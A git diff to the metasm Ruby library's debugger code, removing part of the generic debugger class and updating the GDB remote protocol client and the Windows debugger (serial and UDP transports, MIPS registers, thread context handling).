-    set_flag_value(f, 1-get_flag_value(f))
-  end
-
-  # set the value of the flag to true
-  def set_flag(f)
-    @cpu.dbg_set_flag(self, f)
-  end
-
-  # set the value of the flag to false
-  def unset_flag(f)
-    @cpu.dbg_unset_flag(self, f)
-  end
-
-  # returns the name of the module containing addr or nil
-  def addr2module(addr)
-    @modulemap.keys.find { |k| @modulemap[k][0] <= addr and @modulemap[k][1] > addr }
-  end
-
-  # returns a string describing addr in term of symbol (eg 'libc.so.6!printf+2f')
-  def addrname(addr)
-    (addr2module(addr) || '???') + '!' +
-    if s = @symbols[addr] ? addr : @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr }
-      @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s)))
-    else '%08x' % addr
-    end
-  end
-
-  # same as addrname, but scan preceding addresses if no symbol matches
-  def addrname!(addr)
-    (addr2module(addr) || '???') + '!' +
-    if s = @symbols[addr] ? addr :
-        @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } ||
-        @symbols.keys.sort.find_all { |s_| s_ < addr and s_ + 0x10000 > addr }.max
-      @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s)))
-    else '%08x' % addr
-    end
-  end
-
-  # loads the symbols from a mapped module
-  def loadsyms(addr, name='%08x'%addr.to_i)
-    if addr.kind_of? String
-      modules.each { |m|
-        if m.path =~ /#{addr}/i
-          addr = m.addr
-          name = File.basename m.path
-          break
-        end
-      }
-      return if not addr.kind_of? Integer
-    end
-    return if not peek = @memory.get_page(addr, 4)
-    if peek == "\x7fELF"
-      cls = LoadedELF
-    elsif peek[0, 2] == "MZ" and @memory[addr+@memory[addr+0x3c,4].unpack('V').first, 4] == "PE\0\0"
-      cls = LoadedPE
-    else return
-    end
-
-    begin
-      e = cls.load @memory[addr, 0x1000_0000]
-      e.load_address = addr
-      e.decode_header
-      e.decode_exports
-    rescue
-      # cache the error so that we dont hit it every time
-      @modulemap[addr.to_s(16)] ||= [addr, addr+0x1000]
-      return
-    end
-
-    if n = e.module_name and n != name
-      name = n
-    end
-
-    @modulemap[name] ||= [addr, addr+e.module_size]
-
-    cnt = 0
-    e.module_symbols.each { |n_, a, l|
-      cnt += 1
-      a += addr
-      @disassembler.set_label_at(a, n_, false)
-      @symbols[a] = n_	# XXX store "lib!sym" ?
-      if l and l > 1; @symbols_len[a] = l
-      else @symbols_len.delete a	# we may overwrite an existing symbol, keep len in sync
-      end
-    }
-    log "loaded #{cnt} symbols from #{name}"
-
-    true
-  end
-
-  # scan the target memory for loaded libraries, load their symbols
-  def scansyms(addr=0, max=@memory.length-0x1000-addr)
-    while addr <= max
-      loadsyms(addr)
-      addr += 0x1000
-    end
-  end
-
-  # load symbols from all libraries found by the OS module
-  def loadallsyms
-    modules.each { |m|
-      yield m.addr if block_given?
-      loadsyms(m.addr, m.path)
-    }
-  end
-
-  # see Disassembler#load_map
-  def load_map(str, off=0)
-    str = File.read(str) if File.exist?(str)
-    sks = @disassembler.sections.keys.sort
-    str.each_line { |l|
-      case l.strip
-      when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i    # kernel.map style
-        a = $1.to_i(16) + off
-        n = $3
-      when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i  # IDA style
-        # see Disassembler for comments
-        a = sks[$1.to_i(16)] + $2.to_i(16) + off
-        n = $3
-      else next
-      end
-      @disassembler.set_label_at(a, n, false)
-      @symbols[a] = n
-    }
-
-  end
-
-  # parses the expression contained in arg
-  def parse_expr(arg)
-    parse_expr!(arg.dup)
-  end
-
-  # parses the expression contained in arg, updates arg to point after the expr
-  def parse_expr!(arg)
-    return if not e = IndExpression.parse_string!(arg) { |s|
-      # handle 400000 -> 0x400000
-      # XXX no way to override and force decimal interpretation..
-      if s.length > 4 and not @disassembler.get_section_at(s.to_i) and @disassembler.get_section_at(s.to_i(16))
-        s.to_i(16)
-      else
-        s.to_i
-      end
-    }
-
-    # resolve ambiguous symbol names/hex values
-    bd = {}
-    e.externals.grep(::String).each { |ex|
-      if not v = register_list.find { |r| ex.downcase == r.to_s.downcase } ||
-            (block_given? && yield(ex)) || symbols.index(ex)
-        lst = symbols.values.find_all { |s| s.downcase.include? ex.downcase }
-        case lst.length
-        when 0
-          if ex =~ /^[0-9a-f]+$/i and @disassembler.get_section_at(ex.to_i(16))
-            v = ex.to_i(16)
-          else
-            raise "unknown symbol name #{ex}"
-          end
-        when 1
-          v = symbols.index(lst.first)
-          log "using #{lst.first} for #{ex}"
-        else
-          suggest = lst[0, 50].join(', ')
-          suggest = suggest[0, 125] + '...' if suggest.length > 128
-          raise "ambiguous symbol name #{ex}: #{suggest} ?"
-        end
-      end
-      bd[ex] = v
-    }
-    e = e.bind(bd)
-
-    e
-  end
-
-  # resolves an expression involving register values and/or memory indirection using the current context
-  # uses #register_list, #get_reg_value, @mem, @cpu
-  # :tid/:pid resolve to current thread
-  def resolve_expr(e)
-    e = parse_expr(e) if e.kind_of? ::String
-    bd = { :tid => @tid, :pid => @pid }
-    Expression[e].externals.each { |ex|
-      next if bd[ex]
-      case ex
-      when ::Symbol; bd[ex] = get_reg_value(ex)
-      when ::String; bd[ex] = @symbols.index(ex) || 0
-      end
-    }
-    Expression[e].bind(bd).reduce { |i|
-      if i.kind_of? Indirection and p = i.pointer.reduce and p.kind_of? ::Integer
-        i.len ||= @cpu.size/8
-        p &= (1 << @cpu.size) - 1 if p < 0
-        Expression.decode_imm(@memory, i.len, @cpu, p)
-      end
-    }
-  end
-  alias resolve resolve_expr
-
-  # return/yield an array of [addr, addr symbolic name] corresponding to the current stack trace
-  def stacktrace(maxdepth=500, &b)
-    @cpu.dbg_stacktrace(self, maxdepth, &b)
-  end
-
-  # accepts a range or begin/end address to read memory, or a register name
-  def [](arg0, arg1=nil)
-    if arg1
-      arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer
-      arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer
-      @memory[arg0, arg1].to_str
-    elsif arg0.kind_of? ::Range
-      arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer	# cannot happen, invalid ruby Range
-      arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer
-      @memory[arg0].to_str
-    else
-      get_reg_value(arg0)
-    end
-  end
-
-  # accepts a range or begin/end address to write memory, or a register name
-  def []=(arg0, arg1, val=nil)
-    arg1, val = val, arg1 if not val
-    if arg1
-      arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer
-      arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer
-      @memory[arg0, arg1] = val
-    elsif arg0.kind_of? ::Range
-      arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer	# cannot happen, invalid ruby Range
-      arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer
-      @memory[arg0] = val
-    else
-      set_reg_value(arg0, val)
-    end
-  end
-
-
-  # read an int from the target memory, int of sz bytes (defaults to cpu.size)
-  def memory_read_int(addr, sz=@cpu.size/8)
-    addr = resolve_expr(addr) if not addr.kind_of? ::Integer
-    Expression.decode_imm(@memory, sz, @cpu, addr)
-  end
-
-  # write an int in the target memory
-  def memory_write_int(addr, val, sz=@cpu.size/8)
-    addr = resolve_expr(addr) if not addr.kind_of? ::Integer
-    val = resolve_expr(val) if not val.kind_of? ::Integer
-    @memory[addr, sz] = Expression.encode_imm(val, sz, @cpu)
-  end
-
-  # retrieve an argument (call at a function entrypoint)
-  def func_arg(nr)
-    @cpu.dbg_func_arg(self, nr)
-  end
-  def func_arg_set(nr, val)
-    @cpu.dbg_func_arg_set(self, nr, val)
-  end
-
-  # retrieve a function returned value (call at func exitpoint)
-  def func_retval
-    @cpu.dbg_func_retval(self)
-  end
-  def func_retval_set(val)
-    @cpu.dbg_func_retval_set(self, val)
-  end
-  def func_retval=(val)
-    @cpu.dbg_func_retval_set(self, val)
-  end
-
-  # retrieve a function return address (call at func entry/exit)
-  def func_retaddr
-    @cpu.dbg_func_retaddr(self)
-  end
-  def func_retaddr_set(addr)
-    @cpu.dbg_func_retaddr_set(self, addr)
-  end
-  def func_retaddr=(addr)
-    @cpu.dbg_func_retaddr_set(self, addr)
-  end
-
-  def load_plugin(plugin_filename)
-    if not File.exist?(plugin_filename) and defined? Metasmdir
-      # try autocomplete
-      pf = File.join(Metasmdir, 'samples', 'dbg-plugins', plugin_filename)
-      if File.exist?(pf)
-        plugin_filename = pf
-      elsif File.exist?(pf + '.rb')
-        plugin_filename = pf + '.rb'
-      end
-    end
-    if not File.exist?(plugin_filename) and File.exist?(plugin_filename + '.rb')
-      plugin_filename += '.rb'
-    end
-
-    instance_eval File.read(plugin_filename)
-  end
-
-  # return the list of memory mappings of the current process
-  # array of [start, len, perms, infos]
-  def mappings
-    [[0, @memory.length]]
-  end
-
-  # return a list of Process::Modules (with a #path, #addr) for the current process
-  def modules
-    []
-  end
-
-  # list debugged pids
-  def list_debug_pids
-    @pid_stuff.keys | [@pid].compact
-  end
-
-  # return a list of OS::Process listing all alive processes (incl not debugged)
-  # default version only includes current debugged pids
-  def list_processes
-    list_debug_pids.map { |p| OS::Process.new(p) }
-  end
-
-  # check if pid is valid
-  def check_pid(pid)
-    list_processes.find { |p| p.pid == pid }
-  end
-
-  # list debugged tids
-  def list_debug_tids
-    @tid_stuff.keys | [@tid].compact
-  end
-
-  # list of thread ids existing in the current process (incl not debugged)
-  # default version only lists debugged tids
-  alias list_threads list_debug_tids
-
-  # check if tid is valid for the current process
-  def check_tid(tid)
-    list_threads.include?(tid)
-  end
-
-  # see EData#pattern_scan
-  # scans only mapped areas of @memory, using os_process.mappings
-  def pattern_scan(pat, start=0, len=@memory.length-start)
-    ret = []
-    mappings.each { |a, l, *o_|
-      a = start if a < start
-      l = start+len-a if a+l > start+len
-      next if l <= 0
-      EncodedData.new(@memory[a, l]).pattern_scan(pat) { |o|
-        o += a
-        ret << o if not block_given? or yield(o)
-      }
-    }
-    ret
-  end
-end
 end
diff --git a/lib/metasm/metasm/os/remote.rb b/lib/metasm/metasm/os/remote.rb
index dd50faa66f..2d733f6fe5 100644
--- a/lib/metasm/metasm/os/remote.rb
+++ b/lib/metasm/metasm/os/remote.rb
@@ -5,6 +5,7 @@
 
 
 require 'metasm/os/main'
+require 'metasm/debug'
 require 'socket'
 
 module Metasm
@@ -23,9 +24,11 @@ class GdbClient
   def gdb_send(cmd, buf='')
     buf = cmd + buf
     buf = '$' << buf << '#' << gdb_csum(buf)
+    log "gdb_send #{buf.inspect}" if $DEBUG
 
     5.times {
       @io.write buf
+      out = ''
       loop do
         break if not IO.select([@io], nil, nil, 0.2)
         raise Errno::EPIPE if not ack = @io.read(1)
@@ -33,12 +36,15 @@ class GdbClient
         when '+'
           return true
         when '-'
-          puts "gdb_send: ack neg" if $DEBUG
+          log "gdb_send: ack neg" if $DEBUG
           break
         when nil
           return
+        else
+          out << ack
         end
       end
+      log "no ack, got #{out.inspect}" if out != ''
     }
 
     log "send error #{cmd.inspect} (no ack)"
@@ -62,8 +68,18 @@ class GdbClient
     buf = nil
 
     while @recv_ctx
-      return unless IO.select([@io], nil, nil, timeout)
-      raise Errno::EPIPE if not c = @io.read(1)
+      if !@recv_ctx[:rbuf]
+        return unless IO.select([@io], nil, nil, timeout)
+        if @io.kind_of?(UDPSocket)
+          raise Errno::EPIPE if not @recv_ctx[:rbuf] = @io.recvfrom(65536)[0]
+        else
+          raise Errno::EPIPE if not c = @io.read(1)
+        end
+      end
+      if @recv_ctx[:rbuf]
+        c = @recv_ctx[:rbuf].slice!(0, 1)
+        @recv_ctx.delete :rbuf if @recv_ctx[:rbuf] == ''
+      end
 
       case @recv_ctx[:state]
       when :nosync
@@ -107,11 +123,11 @@ class GdbClient
       end
       outstr << unhex($1)
       ret = gdb_readresp(timeout, outstr)
-      outstr.split("\n").each { |e| log 'gdb: ' + e } if first
+      outstr.split("\n").each { |o| log 'gdb: ' + o } if first
       return ret
     end
 
-    puts "gdb_readresp: got #{buf[0, 64].inspect}#{'...' if buf.length > 64}" if $DEBUG
+    log "gdb_readresp: got #{buf[0, 64].inspect}#{'...' if buf.length > 64}" if $DEBUG
     buf
   end
 
@@ -232,9 +248,9 @@ class GdbClient
 
     case io
     when IO; @io = io
-    when /^udp:(.*):(.*?)$/i; @io = UDPSocket.new ; @io.connect($1, $2)
-    when /^(?:tcp:)?(.*):(.*?)$/i; @io = TCPSocket.open($1, $2)	# XXX matches C:\fail
-    # TODO pipe, serial port, etc ; also check ipv6
+    when /^ser:(.*)/i; @io = File.open($1, 'rb+')
+    when /^udp:\[?(.*)\]?:(.*?)$/i; @io = UDPSocket.new ; @io.connect($1, $2)
+    when /^(?:tcp:)?\[?(..+)\]?:(.*?)$/i; @io = TCPSocket.open($1, $2)
     else raise "unknown target #{io.inspect}"
     end
 
@@ -242,6 +258,10 @@ class GdbClient
   end
 
   def gdb_setup
+    pnd = ''
+    pnd << @io.read(1) while IO.select([@io], nil, nil, 0.2)
+    log "startpending: #{pnd.inspect}" if pnd != ''
+
     gdb_msg('q', 'Supported')
     #gdb_msg('Hc', '-1')
     #gdb_msg('qC')
@@ -295,17 +315,22 @@ class GdbClient
 
   attr_accessor :logger, :quiet
   def log(s)
+    puts s if $DEBUG and logger
     return if quiet
-    @logger ||= $stdout
-    @logger.puts s
+    logger ? logger.log(s) : puts(s)
   end
 
 
+  attr_accessor :ptrsz
+
   # setup the various function used to pack ints & the reg list
   # according to a target CPU
   def setup_arch(cpu)
+    @ptrsz = cpu.size
+
     case cpu.shortname
-    when 'ia32'
+    when /^ia32/
+      @ptrsz = 32
       @gdbregs = GDBREGS_IA32
       @regmsgsize = 4 * @gdbregs.length
     when 'x64'
@@ -314,6 +339,9 @@ class GdbClient
     when 'arm'
       @gdbregs = cpu.dbg_register_list
       @regmsgsize = 4 * @gdbregs.length
+    when 'mips'
+      @gdbregs = cpu.dbg_register_list
+      @regmsgsize = cpu.size/8 * @gdbregs.length
     else
       # we can still use readmem/kill and other generic commands
       # XXX serverside setregs may fail if we give an incorrect regbuf size
@@ -324,7 +352,7 @@ class GdbClient
 
     # yay life !
     # do as if cpu is littleendian, fixup at the end
-    case cpu.size
+    case @ptrsz
     when 16
       @pack_netint   = lambda { |i| i.pack('n*') }
       @unpack_netint = lambda { |s| s.unpack('n*') }
@@ -345,7 +373,7 @@ class GdbClient
         @pack_netint, @pack_int = @pack_int, @pack_netint
         @unpack_netint, @unpack_int = @unpack_int, @unpack_netint
       end
-    else raise "GdbServer: unsupported cpu size #{cpu.size}"
+    else raise "GdbServer: unsupported cpu size #{@ptrsz}"
     end
 
     # if target cpu is bigendian, use netint everywhere
@@ -362,7 +390,7 @@ class GdbRemoteString < VirtualString
 
   def initialize(gdb, addr_start=0, length=nil)
     @gdb = gdb
-    length ||= 1 << (@gdb.cpu.size rescue 32)
+    length ||= 1 << (@gdb.ptrsz || 32)
     @pagelength = 512
     super(addr_start, length)
   end
@@ -389,17 +417,55 @@ end
 
 # this class implements a high-level API using the gdb-server network debugging protocol
 class GdbRemoteDebugger < Debugger
-  attr_accessor :gdb, :check_target_timeout
+  attr_accessor :gdb, :check_target_timeout, :reg_val_cache
   def initialize(url, cpu='Ia32')
+    super()
+    @tid_stuff_list << :reg_val_cache << :regs_dirty
     @gdb = GdbClient.new(url, cpu)
     @gdb.logger = self
-    @cpu = @gdb.cpu
-    @memory = GdbRemoteString.new(@gdb)
-    @reg_val_cache = {}
-    @regs_dirty = false
     # when checking target, if no message seen since this much seconds, send a 'status' query
     @check_target_timeout = 1
+    set_context(28, 28)
+  end
+
+  def check_pid(pid)
+    # return nil if pid == nil
+    pid
+  end
+  def check_tid(tid)
+    tid
+  end
+
+  def list_processes
+    [@pid].compact
+  end
+  def list_threads
+    [@tid].compact
+  end
+
+  def mappings
+    []
+  end
+
+  def modules
+    []
+  end
+
+
+  def initialize_newtid
     super()
+    @reg_val_cache = {}
+    @regs_dirty = false
+  end
+
+  attr_accessor :realmode
+  def initialize_cpu
+    @cpu = @gdb.cpu
+    @realmode = true if @cpu and @cpu.shortname =~ /^ia32_16/
+  end
+
+  def initialize_memory
+    @memory = GdbRemoteString.new(@gdb)
   end
 
   def invalidate
@@ -409,12 +475,24 @@ class GdbRemoteDebugger < Debugger
   end
 
   def get_reg_value(r)
+    r = r.to_sym
     return @reg_val_cache[r] || 0 if @state != :stopped
     sync_regs
     @reg_val_cache = @gdb.read_regs || {} if @reg_val_cache.empty?
+    if realmode
+      case r
+      when :eip; seg = :cs
+      when :esp; seg = :ss
+      else seg = :ds
+      end
+      # XXX seg override
+      return @reg_val_cache[seg].to_i*16 + @reg_val_cache[r].to_i
+    end
     @reg_val_cache[r] || 0
   end
   def set_reg_value(r, v)
+    r = r.to_sym
+    # XXX realmode
     @reg_val_cache[r] = v
     @regs_dirty = true
   end
@@ -426,37 +504,49 @@ class GdbRemoteDebugger < Debugger
 
   def do_check_target
     return if @state == :dead
+
+    # keep-alive on the connexion
     t = Time.now
     @last_check_target ||= t
     if @state == :running and t - @last_check_target > @check_target_timeout
       @gdb.io.write '$?#' << @gdb.gdb_csum('?')
       @last_check_target = t
     end
+
     return unless i = @gdb.check_target(0.01)
-    invalidate if i[:state] == :stopped and @state != :stopped
-    @state, @info = i[:state], i[:info]
-    @info = nil if @info =~ /TRAP/
+    update_state(i)
+    true
   end
 
   def do_wait_target
     return unless i = @gdb.check_target(nil)
-    invalidate if i[:state] == :stopped and @state != :stopped
-    @state, @info = i[:state], i[:info]
-    @info = nil if @info =~ /TRAP/
+    update_state(i)
+  end
+
+  def update_state(i)
+    @info = (i[:info] if i[:info] !~ /TRAP/)
+    if i[:state] == :stopped and @state != :stopped
+      invalidate
+      @state = i[:state]
+      case @run_method
+      when :singlestep
+        evt_singlestep
+      else
+        evt_bpx	# XXX evt_hwbp?
+      end
+    else
+      @state = i[:state]
+    end
   end
 
   def do_continue(*a)
-    return if @state != :stopped
     @state = :running
-    @info = 'continue'
     @gdb.continue
     @last_check_target = Time.now
   end
 
   def do_singlestep(*a)
-    return if @state != :stopped
     @state = :running
-    @info = 'singlestep'
     @gdb.singlestep
     @last_check_target = Time.now
   end
@@ -467,53 +557,52 @@ class GdbRemoteDebugger < Debugger
 
   def kill(sig=nil)
     # TODO signal nr
-    @gdb.kill
     @state = :dead
-    @info = 'killed'
+    @gdb.kill
   end
 
   def detach
-    super()	# remove breakpoints & stuff
-    @gdb.detach
-    @state = :dead
-    @info = 'detached'
+    del_all_breakpoints
+    del_pid
   end
-  
-  # set to true to use the gdb msg to handle bpx, false to set 0xcc ourself
+
+  # set to true to use the gdb msg to handle bpx, false to set 0xcc manually ourself
   attr_accessor :gdb_bpx
-  def enable_bp(addr)
-    return if not b = @breakpoint[addr]
-    b.state = :active
+  def do_enable_bp(b)
     case b.type
+    when :bpm
+      do_enable_bpm(b)
     when :bpx
       if gdb_bpx
-        @gdb.set_hwbp('s', addr, 1)
+        @gdb.set_hwbp('s', b.address, 1)
       else
-        @cpu.dbg_enable_bp(self, addr, b)
+        @cpu.dbg_enable_bp(self, b)
       end
-    when :hw
-      @gdb.set_hwbp(b.mtype, addr, b.mlen)
+    when :hwbp
+      @gdb.set_hwbp(b.internal[:type], b.address, b.internal[:len])
     end
   end
 
-  def disable_bp(addr)
-    return if not b = @breakpoint[addr]
-    b.state = :inactive
+  def do_disable_bp(b)
     case b.type
+    when :bpm
+      do_disable_bpm(b)
     when :bpx
       if gdb_bpx
-        @gdb.unset_hwbp('s', addr, 1)
+        @gdb.unset_hwbp('s', b.address, 1)
       else
-        @cpu.dbg_disable_bp(self, addr, b)
+        @cpu.dbg_disable_bp(self, b)
       end
-    when :hw
-      @gdb.unset_hwbp(b.mtype, addr, b.mlen)
+    when :hwbp
+      @gdb.unset_hwbp(b.internal[:type], b.address, b.internal[:len])
     end
   end
 
   def check_pre_run(*a)
-    sync_regs
-    super(*a)
+    if ret = super(*a)
+      sync_regs
+      ret
+    end
   end
 
   def loadallsyms
diff --git a/lib/metasm/metasm/os/windows.rb b/lib/metasm/metasm/os/windows.rb
index 74d20f717b..f8322f85ed 100644
--- a/lib/metasm/metasm/os/windows.rb
+++ b/lib/metasm/metasm/os/windows.rb
@@ -4,6 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 require 'metasm/os/main'
+require 'metasm/debug'
 require 'metasm/dynldr'
 
 module Metasm
@@ -125,6 +126,12 @@ typedef void *HMODULE;
 #define DBG_CONTROL_C                    ((DWORD   )0x40010005L)
 #define DBG_CONTROL_BREAK                ((DWORD   )0x40010008L)
 #define DBG_COMMAND_EXCEPTION            ((DWORD   )0x40010009L)
+#define STATUS_WX86_CONTINUE             ((DWORD   )0x4000001DL)
+#define STATUS_WX86_SINGLE_STEP          ((DWORD   )0x4000001EL)
+#define STATUS_WX86_BREAKPOINT           ((DWORD   )0x4000001FL)
+#define STATUS_WX86_EXCEPTION_CONTINUE   ((DWORD   )0x40000020L)
+#define STATUS_WX86_EXCEPTION_LASTCHANCE ((DWORD   )0x40000021L)
+#define STATUS_WX86_EXCEPTION_CHAIN      ((DWORD   )0x40000022L)
 #define STATUS_GUARD_PAGE_VIOLATION      ((DWORD   )0x80000001L)
 #define STATUS_DATATYPE_MISALIGNMENT     ((DWORD   )0x80000002L)
 #define STATUS_BREAKPOINT                ((DWORD   )0x80000003L)
@@ -416,7 +423,7 @@ typedef struct _CONTEXT_AMD64 {
 
   XMMREG Vector[26];
   DWORD64 VectorControl;
-  
+
   DWORD64 DebugControl;
   DWORD64 LastBranchToRip;
   DWORD64 LastBranchFromRip;
@@ -490,6 +497,10 @@ typedef struct _PROCESS_INFORMATION {
 } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
 
 
+WINAPI
+DWORD
+GetVersion(VOID);
+
 WINBASEAPI
 HANDLE
 WINAPI
@@ -1033,7 +1044,7 @@ OpenThreadToken (
   __out HANDLE *TokenHandle);
 EOS
   SE_DEBUG_NAME = 'SeDebugPrivilege'
-  
+
   new_api_c <<EOS, 'ntdll'
 #line #{__LINE__}
 
@@ -1166,15 +1177,16 @@ NtQueryVirtualMemory (
 );
 
 EOS
- 
+
   # convert a native function return value
   # if the native does not have the zero_not_fail attribute, convert 0
   #  to nil, and print a message on stdout
-        def self.convert_ret_c2rb(fproto, ret)
+  def self.convert_ret_c2rb(fproto, ret)
     @last_err_msg = nil
     if ret == 0 and not fproto.has_attribute 'zero_not_fail'
       # save error msg so that last_error_msg returns the same thing if called again
       puts "WinAPI: error in #{fproto.name}: #{@last_err_msg = last_error_msg}" if $VERBOSE
+      puts caller if $DEBUG
       nil
     else super(fproto, ret)
     end
@@ -1234,7 +1246,7 @@ class WinOS < OS
           end
         else
           WinAPI.host_cpu.size
-      end
+        end
       end
     end
 
@@ -1244,7 +1256,7 @@ class WinOS < OS
 
     def threads
       WinOS.list_threads(@pid)
-      end
+    end
 
     def heaps
       WinOS.list_heaps(@pid)
@@ -1254,12 +1266,12 @@ class WinOS < OS
     def mappings
       addr = 0
       list = []
-      info = WinAPI.alloc_c_struct("MEMORY_BASIC_INFORMATION#{addrsz}")
+      info = WinAPI.alloc_c_struct("MEMORY_BASIC_INFORMATION#{WinAPI.host_cpu.size}")
       path = [0xff].pack('C') * 512
 
       hcache = heaps
 
-      while WinAPI.virtualqueryex(handle, addr, info, info.length) != 0
+      while WinAPI.virtualqueryex(handle, addr, info, info.sizeof) != 0
         addr += info.regionsize
         next unless info.state & WinAPI::MEM_COMMIT > 0
 
@@ -1273,7 +1285,7 @@ class WinOS < OS
           WinAPI::PAGE_EXECUTE_READWRITE => 'rwx',
           WinAPI::PAGE_EXECUTE_WRITECOPY => 'rwx'
         }[info[:protect] & 0xff]
-        prot << 'g' if info[:protect] & WinAPI::PAGE_GUARD > 0
+        prot = prot.sub('r', '-') + 'g' if info[:protect] & WinAPI::PAGE_GUARD > 0
         prot << 'p' if info[:type]    & WinAPI::MEM_PRIVATE > 0
 
         if h = hcache[info.baseaddress]
@@ -1301,7 +1313,7 @@ class WinOS < OS
       @peb_base ||=
       if WinAPI.respond_to?(:ntqueryinformationprocess)
         pinfo = WinAPI.alloc_c_struct('PROCESS_BASIC_INFORMATION')
-        if WinAPI.ntqueryinformationprocess(handle, WinAPI::PROCESSBASICINFORMATION, pinfo, pinfo.length, 0) == 0
+        if WinAPI.ntqueryinformationprocess(handle, WinAPI::PROCESSBASICINFORMATION, pinfo, pinfo.sizeof, 0) == 0
           pinfo.pebbaseaddress
         end
       else
@@ -1336,7 +1348,7 @@ class WinOS < OS
       @teb_base ||=
       if WinAPI.respond_to?(:ntqueryinformationthread)
         tinfo = WinAPI.alloc_c_struct('THREAD_BASIC_INFORMATION')
-        if WinAPI.ntqueryinformationthread(handle, WinAPI::THREADBASICINFORMATION, tinfo, tinfo.length, 0) == 0
+        if WinAPI.ntqueryinformationthread(handle, WinAPI::THREADBASICINFORMATION, tinfo, tinfo.sizeof, 0) == 0
           tinfo.tebbaseaddress
         end
       else
@@ -1373,10 +1385,12 @@ class WinOS < OS
       @context ||= Context.new(self, :all)
       if block_given?
         suspend
-        @context.update
-        ret = yield @context
-        resume
-        ret
+        begin
+          @context.update
+          yield @context
+        ensure
+          resume
+        end
       else
         @context
       end
@@ -1386,28 +1400,34 @@ class WinOS < OS
     class Context
       def initialize(thread, kind=:all)
         @handle = thread.handle
-        tg = thread.process ? thread.process.addrsz : 32
-        case WinAPI.host_cpu.shortname
-        when 'ia32', 'x64'; tg = ((tg == 32) ? 'ia32' : 'x64')
+        tg = (thread.process ? thread.process.addrsz : 32)
+        hcpu = WinAPI.host_cpu.shortname
+        case hcpu
+        when 'ia32', 'x64'
         else raise "unsupported architecture #{tg}"
         end
 
         @getcontext = :getthreadcontext
         @setcontext = :setthreadcontext
         case tg
-        when 'ia32'
+        when 32
           @context = WinAPI.alloc_c_struct('_CONTEXT_I386')
           @context.contextflags = WinAPI::CONTEXT_I386_ALL
-          if WinAPI.host_cpu.shortname == 'x64'
+          if hcpu == 'x64'
             @getcontext = :wow64getthreadcontext
             @setcontext = :wow64setthreadcontext
           end
-        when 'x64'
+        when 64
           @context = WinAPI.alloc_c_struct('_CONTEXT_AMD64')
           @context.contextflags = WinAPI::CONTEXT_AMD64_ALL
         end
       end
 
+      # retrieve the actual context structure (so we can pass to API's like StackWalk64)
+      def c_struct
+        @context
+      end
+      
       # update the context to reflect the current thread reg values
       # call only when the thread is suspended
       def update
@@ -1418,15 +1438,17 @@ class WinOS < OS
         case k.to_s
         when /^[cdefgs]s$/i
           @context["seg#{k}"]
-        when /^st(\d*)/i
+        when /^st(\d?)$/i
           v = @context['st'][$1.to_i]
-          buf = v.str[v.str_off, 10]
+          buf = v.str[v.stroff, 10]
           # TODO check this, 'D' is 8byte wide
           buf.unpack('D')[0]
-        when /^xmm(\d+)/i
+        # TODO when /^ymm(\d+)$/i
+        when /^xmm(\d+)$/i
           v = @context['xmm'][$1.to_i]
           (v.hi << 64) | v.lo
-        when /^mmx?(\d+)/i
+        when /^mmx?(\d)$/i
+          # XXX probably in st(0/7)
           @context['xmm'][$1.to_i].lo
         else
           @context[k]
@@ -1437,15 +1459,17 @@ class WinOS < OS
         case k.to_s
         when /^[cdefgs]s$/i
           @context["seg#{k}"] = v
-        when /^st(\d*)/i
+        when /^st(\d?)$/i
           # TODO check this, 'D' is 8byte wide
           buf = [v, 0, 0].pack('DCC')
           @context['st'][$1.to_i][0, 10] = buf
-        when /^xmm(\d+)/i
+        # TODO when /^ymm(\d+)$/i
+        when /^xmm(\d+)$/i
           kk = @context['xmm'][$1.to_i]
           kk.lo = v & ((1<<64)-1)
           kk.hi = (v>>64) & ((1<<64)-1)
-        when /^mmx?(\d+)/i
+        when /^mmx?(\d)$/i
+          # XXX st(7-$1) ?
           @context['xmm'][$1.to_i].lo = v
         else
           @context[k] = v
@@ -1455,10 +1479,10 @@ class WinOS < OS
 
       def method_missing(m, *a)
         if m.to_s[-1] == ?=
-          super(m, *a) if a.length != 1
+          return super(m, *a) if a.length != 1
           send '[]=', m.to_s[0...-1], a[0]
         else
-          super(m, *a) if a.length != 0
+          return super(m, *a) if a.length != 0
           send '[]', m
         end
       end
@@ -1528,7 +1552,7 @@ class << self
     loop do
       list << te.th32threadid if not pid or te.th32ownerprocessid == pid
       break if WinAPI.thread32next(h, te) == 0
-  end
+    end
     WinAPI.closehandle(h)
     list
   end
@@ -1649,6 +1673,11 @@ class << self
     end
   end
 
+  # returns the [major, minor] version of the windows os
+  def version
+    v = WinAPI.getversion
+    [v & 0xff, (v>>8) & 0xff]
+  end
 end	# class << self
 end
 
@@ -1699,6 +1728,8 @@ class WinDebugger < Debugger
   attr_accessor :os_process, :os_thread,
     :auto_fix_fs_bug,
     # is current exception handled? (arg to pass to continuedbgevt)
+    # if it has the special value :suspended, it means that the thread
+    # is to be restarted through resume and not continuedbgevt
     :continuecode
 
   attr_accessor :callback_unloadlibrary, :callback_debugstring, :callback_ripevent
@@ -1717,10 +1748,10 @@ class WinDebugger < Debugger
       attach(npid)
     rescue ArgumentError
       create_process(pidpath)
-  end
+    end
 
     check_target until pid
-    end
+  end
 
   def shortname; 'windbg'; end
 
@@ -1732,7 +1763,7 @@ class WinDebugger < Debugger
       break if pid
     }
     raise "attach failed" if not pid
-    end
+  end
 
   def create_process(target)
     startupinfo = WinAPI.alloc_c_struct('STARTUPINFOA', :cb => :size)
@@ -1747,14 +1778,15 @@ class WinDebugger < Debugger
     @os_process = WinOS::Process.new(processinfo.dwprocessid, processinfo.hprocess)
     @os_thread  = WinOS::Thread.new(processinfo.dwthreadid, processinfo.hthread, @os_process)
